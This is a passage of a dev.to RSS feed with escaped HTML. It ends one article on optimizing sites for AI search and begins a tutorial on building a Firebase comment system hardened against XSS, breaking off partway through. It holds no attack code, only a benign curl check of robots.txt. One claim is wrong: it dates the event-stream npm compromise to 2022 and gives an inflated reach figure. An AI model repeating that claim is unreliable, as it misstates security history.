      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HowToStep&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;position&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Switch to semantic HTML&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Replace div soup with article, section, h1-h3, ul, and table elements for better AI crawler parsing.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HowToStep&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;position&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Add JSON-LD schema markup&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Implement Article, FAQPage, and HowTo schema in the head of every page.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HowToStep&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;position&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Write a BLUF block at the top of every article&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;The first 150 words should contain a direct answer to the article's primary question.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Eleventy tip:&lt;/strong&gt; automate JSON-LD via a template. Create &lt;code&gt;_includes/schema.njk&lt;/code&gt; and include it in your base layout with &lt;code&gt;{% include 'schema.njk' %}&lt;/code&gt; - every article then gets schema markup generated automatically from frontmatter.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Step 4. BLUF Blocks and Content Structure for LLMs
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;BLUF (Bottom Line Up Front)&lt;/strong&gt; is a principle borrowed from military communication: lead with the conclusion. This block is what AI search loads into its context window first - and what it's most likely to cite.&lt;/p&gt;

&lt;h3&gt;
  
  
  Rules for Writing a BLUF Block
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Length:&lt;/strong&gt; 80-150 words or 4-6 bullet points.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Position:&lt;/strong&gt; immediately after H1, before the first H2.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Format:&lt;/strong&gt; direct answer to "what, why, how" - no filler openers like "in this article we will explore...".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Specificity:&lt;/strong&gt; numbers, timeframes, tool names - no abstract generalities.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tables and Lists Are Gold for LLMs
&lt;/h3&gt;

&lt;p&gt;Research from Surfer SEO (2025) shows pages with HTML tables are cited in Perplexity responses &lt;strong&gt;47% more often&lt;/strong&gt; than pages with equivalent text-only content. LLMs find it trivially easy to "cut" a table row into a response.&lt;/p&gt;

&lt;p&gt;Format any comparison, specification, or dataset as a &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; - not as a bulleted list with &lt;code&gt;**Name:** value&lt;/code&gt;. This applies to markdown tables too - just make sure your SSG actually renders them as clean &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; HTML, not as plaintext.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5. E-E-A-T Content Strategy in 2026
&lt;/h2&gt;

&lt;p&gt;Google officially added the fourth E (Experience) to its E-E-A-T framework specifically because AI got good at rewriting dry theory. What it &lt;strong&gt;can't&lt;/strong&gt; generate is genuine first-hand experience.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Raises Authority for AI Search
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Precise numbers with sources.&lt;/strong&gt; Instead of "AI search traffic is growing," write "according to Similarweb Q1 2026, Perplexity processes over 100 million queries per month." AI models are trained to minimize hallucinations - they prefer sources with verifiable, specific claims.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Long-tail queries in natural language.&lt;/strong&gt; Don't optimize for "SEO 2026" - optimize for "how do I check whether PerplexityBot can access my site." AI search is a conversational interface, and people phrase questions naturally.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Original practical experience.&lt;/strong&gt; Real screenshots, descriptions of actual mistakes you made, specific commands you ran - this is content that can't be generated without lived experience. It's exactly what AI search systems look for when choosing sources to cite.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Links to primary sources.&lt;/strong&gt; Official documentation, research papers, GitHub repositories - they boost E-E-A-T signals for both Google and AI crawlers.&lt;/p&gt;




&lt;h2&gt;
  
  
  GEO Readiness Checklist for 2026
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Every page has a BLUF block (80–150 words) with a direct answer to its primary question&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;robots.txt&lt;/code&gt; is open for &lt;code&gt;GPTBot&lt;/code&gt;, &lt;code&gt;PerplexityBot&lt;/code&gt;, &lt;code&gt;Google-Extended&lt;/code&gt;, &lt;code&gt;ClaudeBot&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] JSON-LD Article schema is in &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of every article&lt;/li&gt;
&lt;li&gt;[ ] FAQPage schema is marked up for FAQ sections&lt;/li&gt;
&lt;li&gt;[ ] HowTo schema is added for step-by-step guides&lt;/li&gt;
&lt;li&gt;[ ] HTML structure uses semantic tags: &lt;code&gt;&amp;lt;article&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt;–&lt;code&gt;&amp;lt;h3&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] Comparisons and specs are formatted as HTML tables, not text lists&lt;/li&gt;
&lt;li&gt;[ ] Every article contains at least one specific fact with a number and a source&lt;/li&gt;
&lt;li&gt;[ ] A FAQ section is present at the end of every article (minimum 3-4 questions)&lt;/li&gt;
&lt;li&gt;[ ] Pages load in under 200ms (static sites have a structural advantage here)&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;sitemap.xml&lt;/code&gt; is connected and up to date&lt;/li&gt;
&lt;li&gt;[ ] Indexing verified in Google Search Console and Bing Webmaster Tools&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is GEO and how is it different from SEO?&lt;/strong&gt;&lt;br&gt;
GEO (Generative Engine Optimization) is the practice of optimizing a website to be cited in AI search responses - ChatGPT Search, Perplexity, Gemini, Copilot. Classic SEO targets position in search results. GEO targets AI systems selecting your content as the source for a synthesized answer. In 2026, the two approaches don't conflict - most GEO techniques reinforce classic SEO as well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can I verify whether GPTBot or PerplexityBot can actually reach my site?&lt;/strong&gt;&lt;br&gt;
Yes. Bing Webmaster Tools shares infrastructure with Copilot and partially with PerplexityBot - use it as a crawl health proxy. For ChatGPT Search specifically, run &lt;code&gt;curl -A "GPTBot" https://yourdomain.com/robots.txt&lt;/code&gt; in your terminal. Google Search Console shows Google-Extended accessibility under the "Crawl stats" report.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does site speed affect AI search ranking?&lt;/strong&gt;&lt;br&gt;
There's no confirmed direct speed ranking factor for AI search yet - but there is an indirect one: slow sites frequently hit timeouts during RAG-architecture parsing and simply don't make it into the source pool. Static sites on SSGs (Eleventy, Hugo, Astro) with TTFB under 100ms have a structural advantage over CMS-driven sites.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is JSON-LD schema necessary if the site already ranks well in Google?&lt;/strong&gt;&lt;br&gt;
Yes, for a different reason. Google uses JSON-LD for Featured Snippets and Rich Results. AI search systems use it to understand content type and authorship. FAQPage schema directly increases the likelihood of FAQ sections being cited in ChatGPT Search and Perplexity responses - independent of SEO position.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;GEO in 2026 isn't a replacement for SEO - it's a natural extension of it. If your site already has clean structure, fast load times, and genuinely useful content, you're already 60% of the way there. The rest - robots.txt for AI bots, JSON-LD schema, and BLUF blocks at the top of every article - takes a few hours and compounds over time.&lt;/p&gt;

&lt;p&gt;This article itself is written to GEO standards: BLUF at the top, semantic headings, comparison tables, code blocks with real copy-paste code, and a FAQ at the end. If Perplexity or ChatGPT cites it in response to a question about GEO - that's the strongest proof the approach works. 🎯&lt;/p&gt;

&lt;p&gt;Drop a comment if you've already implemented any of these changes and seen a difference in AI citation rates - would love to compare notes. 👇&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>seo</category>
      <category>ai</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Blog Comment System on Firebase: XSS Protection and $0 Cost</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Sun, 31 May 2026 05:40:41 +0000</pubDate>
      <link>https://dev.to/digital-abetka/blog-comment-system-on-firebase-xss-protection-and-0-cost-4fb8</link>
      <guid>https://dev.to/digital-abetka/blog-comment-system-on-firebase-xss-protection-and-0-cost-4fb8</guid>
      <description>&lt;p&gt;We build lightning-fast static sites on &lt;strong&gt;Eleventy (11ty)&lt;/strong&gt;, fight for every millisecond in Google PageSpeed - and then sabotage our own speed and security. How? By dropping a third-party &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; for a comment widget onto the page.&lt;/p&gt;

&lt;p&gt;This guide walks through building a &lt;strong&gt;self-hosted, serverless comment system&lt;/strong&gt; on Firebase Realtime Database: zero external scripts, zero cost, and complete XSS protection.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Problem:&lt;/strong&gt; third-party widgets (Disqus, Utterances) slow your site and introduce Supply Chain Attack risk.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Solution:&lt;/strong&gt; Firebase Realtime Database - free, real-time, no third-party scripts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security:&lt;/strong&gt; server-side Security Rules + &lt;code&gt;textContent&lt;/code&gt; instead of &lt;code&gt;innerHTML&lt;/code&gt; on the frontend.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Spark Plan (free tier):&lt;/strong&gt; 1 GB storage · 10 GB/month transfer · 100 simultaneous connections.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time to implement:&lt;/strong&gt; 2-4 hours with basic JavaScript knowledge.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  📦 Full Source Code
&lt;/h2&gt;

&lt;p&gt;The complete working implementation is available on GitHub:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/bodikinf" rel="noopener noreferrer"&gt;
        bodikinf
      &lt;/a&gt; / &lt;a href="https://github.com/bodikinf/hermes-jamstack-showcase" rel="noopener noreferrer"&gt;
        hermes-jamstack-showcase
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Autonomous AI SEO Engineer for Jamstack blogs (DEV.to Challenge Showcase)
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;🤖 Hermes Agent &amp;amp; Serverless Blog Architecture&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;This repository is a showcase for the &lt;strong&gt;&lt;a href="https://dev.to/challenges/hermes-agent-2026-05-15" rel="nofollow"&gt;Hermes Agent Challenge on DEV.to&lt;/a&gt;&lt;/strong&gt; and a demonstration of modern, secure Jamstack architecture.&lt;/p&gt;
&lt;p&gt;It features a production-ready, hybrid AI architecture where a local Node.js script acts as an autonomous digital worker optimizing SEO for an Eleventy (11ty) blog, alongside a custom-built, highly secure serverless comments system.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;🌟 Key Features&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;🤖 Autonomous SEO Agent (Hermes)&lt;/h3&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Multilingual AI Auditing:&lt;/strong&gt; Automatically detects the language based on the directory (&lt;code&gt;/posts&lt;/code&gt; for Ukrainian, &lt;code&gt;/en/posts&lt;/code&gt; for English) and forces the AI to generate localized meta tags.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Idempotence ("Do No Harm"):&lt;/strong&gt; The agent uses &lt;code&gt;gray-matter&lt;/code&gt; to parse Front Matter safely. It only updates files that are missing the &lt;code&gt;ai_summary&lt;/code&gt; or &lt;code&gt;description&lt;/code&gt; fields.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fault Tolerance:&lt;/strong&gt; Built-in &lt;code&gt;try...catch&lt;/code&gt; loops with emergency sleep protocols to handle &lt;code&gt;503 Service Unavailable&lt;/code&gt; API errors without crashing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Strict JSON Output:&lt;/strong&gt; Uses advanced prompt engineering to force Gemini 2.5 Flash…&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/bodikinf/hermes-jamstack-showcase" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Feel free to fork it, adapt the Firebase config to your own project, and follow along as we break down each part below.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Third-Party Comment Widgets Kill Your Blog
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Supply Chain Attack: The Invisible Threat
&lt;/h3&gt;

&lt;p&gt;An external comment widget is third-party code executing with &lt;strong&gt;full privileges on your domain&lt;/strong&gt;. Here's the attack vector:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Hackers compromise the CDN or npm package of a widget provider (Disqus, Hyvor Talk).&lt;/li&gt;
&lt;li&gt;A malicious script is injected into the distribution.&lt;/li&gt;
&lt;li&gt;On the next page load, that code runs in every reader's browser.&lt;/li&gt;
&lt;li&gt;Result: stolen cookies, redirects, crypto mining.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This isn't theoretical. In 2022, the compromise of the &lt;code&gt;event-stream&lt;/code&gt; npm package affected over &lt;strong&gt;8 million projects&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Real Impact on PageSpeed and SEO
&lt;/h3&gt;

&lt;p&gt;Disqus loads an average of &lt;strong&gt;10-15 external requests&lt;/strong&gt; and &lt;strong&gt;400-600 KB&lt;/strong&gt; of JavaScript. Google PageSpeed Insights directly ties these metrics to search ranking.&lt;/p&gt;

&lt;h3&gt;
  
  
  Comparison with Alternatives
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Solution&lt;/th&gt;
&lt;th&gt;Price&lt;/th&gt;
&lt;th&gt;Trackers&lt;/th&gt;
&lt;th&gt;XSS Risk&lt;/th&gt;
&lt;th&gt;Data Control&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Disqus&lt;/td&gt;
&lt;td&gt;$0 / $11+/mo&lt;/td&gt;
&lt;td&gt;❌ Yes (ads)&lt;/td&gt;
&lt;td&gt;⚠️ Medium&lt;/td&gt;
&lt;td&gt;❌ None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Utterances (GitHub)&lt;/td&gt;
&lt;td&gt;$0&lt;/td&gt;
&lt;td&gt;✅ None&lt;/td&gt;
&lt;td&gt;⚠️ Medium&lt;/td&gt;
&lt;td&gt;⚠️ Partial&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hyvor Talk&lt;/td&gt;
&lt;td&gt;$7+/mo&lt;/td&gt;
&lt;td&gt;✅ None&lt;/td&gt;
&lt;td&gt;⚠️ Medium&lt;/td&gt;
&lt;td&gt;❌ None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Firebase (self-hosted)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;$0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;✅ None&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;✅ Minimal&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;✅ Full&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Step 1. Why Firebase Realtime Database?
&lt;/h2&gt;

&lt;p&gt;Spinning up a dedicated backend (PHP + MySQL) for a static blog is a waste of resources. &lt;strong&gt;Firebase Realtime Database&lt;/strong&gt; solves this elegantly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🛡️ &lt;strong&gt;Zero SQL injections.&lt;/strong&gt; NoSQL stored as a JSON tree - &lt;code&gt;DROP TABLE&lt;/code&gt; is physically impossible.&lt;/li&gt;
&lt;li&gt;💰 &lt;strong&gt;Free Spark Plan:&lt;/strong&gt; 1 GB storage, 10 GB/month transfer, 100 simultaneous connections, 400K read/write ops per day.&lt;/li&gt;
&lt;li&gt;⚡ &lt;strong&gt;Real-time.&lt;/strong&gt; Data loads over WebSocket with no page refresh.&lt;/li&gt;
&lt;li&gt;🔐 &lt;strong&gt;Server-side validation.&lt;/strong&gt; Security Rules run on Google's infrastructure - they cannot be bypassed by client-side code.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 2. Setting Up the Firebase Project
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;a href="https://console.firebase.google.com" rel="noopener noreferrer"&gt;console.firebase.google.com&lt;/a&gt; and create a new project.&lt;/li&gt;
&lt;li&gt;Choose &lt;strong&gt;Build → Realtime Database → Create Database&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Select a region closest to your audience (&lt;code&gt;us-central1&lt;/code&gt; or &lt;code&gt;europe-west1&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Start in &lt;strong&gt;Test Mode&lt;/strong&gt; - we'll lock it down in the next step.&lt;/li&gt;
&lt;li&gt;Copy your &lt;code&gt;databaseURL&lt;/code&gt; - you'll need it for the SDK.&lt;/li&gt;
&lt;li&gt;In &lt;strong&gt;Project Settings → General → Your apps&lt;/strong&gt;, add a web app and copy the config:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;firebaseConfig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;YOUR_API_KEY&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;authDomain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;your-project.firebaseapp.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;databaseURL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://your-project-default-rtdb.firebaseio.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;projectId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;your-project&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;storageBucket&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;your-project.appspot.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;messagingSenderId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;000000000000&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;appId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;1:000000000000:web:xxxxxxxxxxxx&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;👀 See how this config is wired into the full project in the &lt;a href="https://github.com/bodikinf/hermes-jamstack-showcase" rel="noopener noreferrer"&gt;repo&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  Step 3. Backend Armor: Firebase Security Rules
&lt;/h2&gt;

&lt;p&gt;The weakest link in any open database is bots and spammers. Open &lt;strong&gt;Realtime Database → Rules&lt;/strong&gt; and replace the contents with:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"comments"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"$postId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"$commentId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;".read"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;".write"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"!data.exists()"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;".validate"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"newData.hasChildren(['name', 'text', 'timestamp'])
                        &amp;amp;&amp;amp; newData.child('name').isString()
                        &amp;amp;&amp;amp; newData.child('name').val().length &amp;gt;= 1
                        &amp;amp;&amp;amp; newData.child('name').val().length &amp;lt;= 50
                        &amp;amp;&amp;amp; newData.child('text').isString()
                        &amp;amp;&amp;amp; newData.child('text').val().length &amp;gt;= 1
                        &amp;amp;&amp;amp; newData.child('text').val().length &amp;lt;= 1000
                        &amp;amp;&amp;amp; newData.child('timestamp').isNumber()
                        &amp;amp;&amp;amp; newData.child('timestamp').val() &amp;lt;= now"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Breaking Down Each Rule
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule&lt;/th&gt;
&lt;th&gt;What it protects against&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
